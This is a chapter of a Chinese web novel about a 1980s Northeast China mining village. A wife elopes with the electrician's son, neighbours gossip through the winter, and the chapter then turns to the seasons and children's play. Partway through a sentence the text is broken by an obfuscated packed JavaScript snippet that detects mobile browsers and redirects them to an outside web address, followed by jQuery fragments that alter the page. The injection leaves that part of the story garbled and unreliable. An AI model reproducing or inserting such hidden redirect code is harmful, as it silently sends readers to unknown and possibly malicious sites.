祝非台 作品

6. 80年代(第2页)

    “别忙了,老金,我坐会儿就走,合计问你媳妇点儿事儿!”

    金光耀听见这话,脸都绿了,瞪着眼睛瞅着白小双。

    耿长富虽然臭名在外,但没有他得不到的女人。

    想到这儿,金光耀的脑瓜子“嗡”的一下子,木了。

    耿长富似乎觉察到了,他先前的话容易引起误会,立刻说道:

    “这么回事儿,昨晚吧,我和秀雅吵架了,今儿早上,我才发现,她半夜离家出走了。我合计,你家小双和我家秀雅关系最好,她应该知道点底细,要说回娘家,不太可能啊,她都多少年不回去了,她烦她那俩吸血鬼似的老子娘,别地方,她那几个姐姐家更不太可能,她们都不咋来往,所以我合计来合计去,还是整不明白她跑哪去了?”

    金光耀听完,紧绷着的神经终于松了下来。见白小双没说话,他说道;

    “对啊,昨晚,是秀雅……还是谁来着?”

    金光耀瞅着媳妇,不敢随便说。

    白小双眼圈一红,说道:

    “她昨晚是来找我了,看她说话那样儿,怕不是……”

    她说不下去了,眼泪唰的一下掉了下来。

    耿长富这种货色,见美人落泪,嘴角抽了抽,连忙说道:

    “这个你放心,我看了,她把常穿的衣服都带着了,金银首饰也一个没剩,还把我保险柜里的货款也给偷走了。”

    ……

    秀雅就这样消失了。

    但是不出几天,大家就传开了,和她一起消失的还有电工老王唯一的儿子——王正。

    虽然老王一再说,纯属巧合,他儿子不是失踪,是去城里打工了。

    但是没有人信服,毕竟电工干着好好的,怎么可能突然跑城里去了,再说哪有那么巧的事儿,正跟秀雅离家出走的时间对上了。

    王正就是和秀雅私奔了!

    俗话说,好事不出门,坏事传千里。

    这条新闻一出,不光震惊了四五队,十里八村都传开了。

    接连几场大雪,把所有人都封在了家里,这事儿发酵得就更快了!

    在东北,一早上,大雪封门是常有的事。家里的老爷们儿勤快的,早早起床把炉子里的灰透一透,添上大煤块儿,然后穿上厚棉袄,费老大劲推开门,到仓房里拿上大铁锹开始挖路,把积雪堆在菜园子里,等着来年春天化成水,好润园子。

    要是一边扫雪,一边又下上了,老爷们就直接跺跺脚,进屋去了,等着雪停再接着扫。

    邻里乡亲的孩子们,挤在一铺炕上抹着嘎啦哈猜拳玩。

    任它外面大雪纷飞,千里冰封,屋里却是又温暖又热闹的。

    几个老娘们聚在一堆儿,每个人手里都做着活儿,有用棒针给孩子或丈夫织毛衣的,有用钩针钩着屁股垫的,一会儿窃窃私语,哈哈大笑,一会儿又研究起来针线的走法,以及毛线的配色来。

    秀雅和王正私奔的事儿,是她们最喜欢的话题,每天都要唠上几遍。

    是他俩给这个大雪封门,无聊的冬天,带来了欢乐!

    他俩不光给地上的人们带来了欢乐,就是厚厚的雪层下面,三四百米的地下矿井里,也同样因为他们,工人们嘻嘻哈

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718185|173821||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    哈地一边唠嗑一边干活,更加精神百倍了!

    年三十儿晚上的饺子吃完,大年初一,就是开始拜年的时候了,人们你来我往,亲戚里道的,都开始互相串起门子来;大年初二,小媳妇、老媳妇们都拖家带口的回娘家去了。

    随着人流的走动,这种桃色新闻也跟着到处流窜起来,到最后不光镇上的工人楼里都传开了,就是市里都传遍了!

    有那市里回娘家的媳妇,拜完年,就开始拉着姐妹的手,神秘兮兮地问了起来:“哎,听说四五队那小电工……”

    而那被拉着手的,必定会心一笑,故意沉着气拉着她,先逮个角落不紧不慢地坐下来。

    那问的,急不过,看她只是笑,晃着她的胳膊埋怨道:

    “哎?你别光笑啊!倒是赶紧说啊!”

    那时候,固定电话还不是家家有的,嫁到城里的媳妇家必然是有的,但就是娘家实力还算雄厚,也安了电话,也必定是不肯在电话里唠这等子事儿的。

    一个是电话费太贵,再一个,这种事儿不是简短就能说完的,光听着一点儿,又不过瘾,所以电话里只是简短的问:

    “啥前回来啊,大概几点到家?”

    其他多余的话,是从来不说的。

    所以这城里的,已经是等的火急火燎的了,好不容易奔到家里来,哪能错过这热乎的新出炉的新闻呢?

    而且这新闻,又是发生在身边,平时都见到过的人身上的,真是比电视里,遥不可及的那些新闻要精彩得多呢!

    但是口口相传,有个最大的特点,那就是传着传着,这个加上两句有的没的,那个加上两句有的没的,到最后竟然变成,王正初中那次辍学,其实就是秀雅给整的。

    “秀雅口味挺独特啊!十五六岁的也勾搭,艾玛,咋也得成年吧!”

    “哎,好好一个小伙子,被她给毁了!”

    那贴在耳边说的人讲两句,那听的就会立刻评价两句。

    再到后来,还有传言,他俩双双殉情的。

    但不管怎么样,秀雅和王正永远地消失在四五队的这个冬天里,再没人见过他们。

    日子一天天地过,地里的菜春种秋收,白小双院子里的鸡架上,天天都能找到新鲜的鸡蛋。

    孩子们爬墙上树,也像地里的庄稼一样越长越高。

    东北的四季要比一般地方更分明一些。

    春分,地上的小草肯定冒头了,小雨那天也必定会下雨;

    夏至,东北的白天似乎被拉得特别长,菜园子里到处都是明晃晃的阳光,照得西红柿通红通红的,黄瓜翠绿翠绿的,蜻蜓慵懒地趴在黄瓜架上耷拉着翅膀。

    人们白天都躲着阳光在房檐下走,中午也都会挠儿一觉。所以夏季的白天总是很安静的,到了傍晚才开始喧闹起来。

    天空中成群结队的蜻蜓们躲了一天的太阳,开始觅食和运动,这是孩子们最开心的时刻。吃过了晚饭,大人们在一起吃西瓜扯闲磕,孩子们人手一根竹竿,站在墙头打天空中密密麻麻的蜻蜓。

    “快看,我打了一只大老黄。”

    “哎呀,你打的这只红辣椒真比辣椒还红。”

    “快看,这只是个大老黑,太好啦。”

    ……

    孩子们叽叽喳喳地叫着,好像要把白天的安静都给补回来一样,吵得大人们都听不见彼此说话,不得不嗓门越来越大。

    到了秋季,那路边一排排的杨树都像约好了似的,把身上所有的叶子都往下抖,地上铺满厚厚的黄叶,这成了孩子们的宝藏。

    他们用脚踢着地上的杨树叶,找“大宝“互相拉着玩,谁的叶子梗子结实,谁的就是“大宝”,甚至睡觉时也要把“大宝”放在被窝里搂着。

    东北的黑土地就跟自动上了化肥似的,一到了立秋前后,紫呼呼的茄子、红得裂开了口的柿子、满身是刺的绿黄瓜就像到了日子似的,都涨得大大的,让你不摘不行。

    再过段时间,结过果实的黄瓜秧子,柿子秧子也都跟完成使命一般,黄的黄,蔫的蔫。

    白小双家的柿子一筐筐地放在仓房里,裂口的都会被先吃掉,没裂口的那些好柿子也会在等待被吃掉前烂的烂,软的软。

    秋天的大丰收,倒把白小双愁坏了。

    东北的孩子们一年四季都有的玩,到了冬天更是对雪喜欢的不得了,就如同仙女给他们的礼物一样。

    一早上起来,看到房子上、树上、地上,到处白白厚厚的雪,孩子们也不管棉袄棉裤会不会湿,兴奋地在雪地上打起滚来,或者和小伙伴们打雪仗,大一点儿的孩子把雪堆成个“雪堡”,躲在后面,以抵御对方的攻击。

    一到冬天,大河、小河早早就冻实了,再冷一些,老天甚至把冰面都冻裂了。

    就是这个时节,孩子们也不闲着,三五成群去冰面上滑冰车、支爬犁、抽冰嘎,把他们忙得不行,甚至饭都忘了回家吃。

    直到天黑了,他们才觉得身上有些冷。冻得红通通的脸蛋儿,一进到暖和的屋里,就会感觉像被刀子割的一样疼,手也冻成了小馒头。

    当妈妈给他们抹着獾子油(獾子脂肪提炼出来的油,用于治冻伤)时,他们会哭得稀里哗啦,嗷嗷叫着、躲着,这时,妈妈就会狠劲把他们拽过来,呼他们脑袋一巴掌,或者怼两下后背。

    常年干农活的那些妇女们,手劲儿一般都挺大,孩子被打疼了,更加嗷嗷叫起来。

    这时,妈妈就会使上更大的劲拍在孩子身上,或是找到大腿上最软的部位,绕着弯的扭两下,再不济,拿起炕沿上的笤帚嘎达(一种扫炕用的小扫帚),那孩子必然立刻止住了哭,只抽搭搭地,小声儿地用嗓子眼儿哼哼着,表达着不满。

    可就是这也不好使,当妈的必然得大着嗓门儿吼一句:

    “你给我憋回去,我数仨数,1,2……”

    往往还没数到3,那孩子就告饶了。

    必定,抹獾子油的疼比挨顿揍的疼,那是没有可比性的,再傻的孩子,也知道见机行事。

    总算是,吵吵闹闹的一天过去了,孩子们也玩累了,钻到炕上温暖的被窝里,不一会儿就进入梦乡了。

    那做妈妈的,挨着炕沿,给一排只露出红通通的,煽得裂着口的孩子们的脸蛋,抹着獾子油,这下他们一点儿也不反抗了,看起来乖巧又可爱。

    当妈的心里合计着,以后还是等孩子们睡着,再抹吧!

    看着孩子脖子上,被她刚才下狠手抓的五个手指印,心里愧疚得不行,用手摸了摸,心疼起来。

    到了第二天,孩子们还是会冲出去继续玩雪,好像不玩雪,就会辜负老天爷给的礼物似的。

    到了傍晚,当妈的早就把头天晚上的心疼和愧疚,抛到九霄云外去了,继续重复着前一晚上的吵闹,又是一顿鸡飞狗跳。

    在这黑土地上,似乎不吵不闹,就不是过日子了!

    当妈的不打几下孩子,就不是爱孩子了!

    当孩子的,从小不挨几下打,就没法长大似的!

    每天的日子只有这样过,大家才感觉活得生机勃勃,热热闹闹的!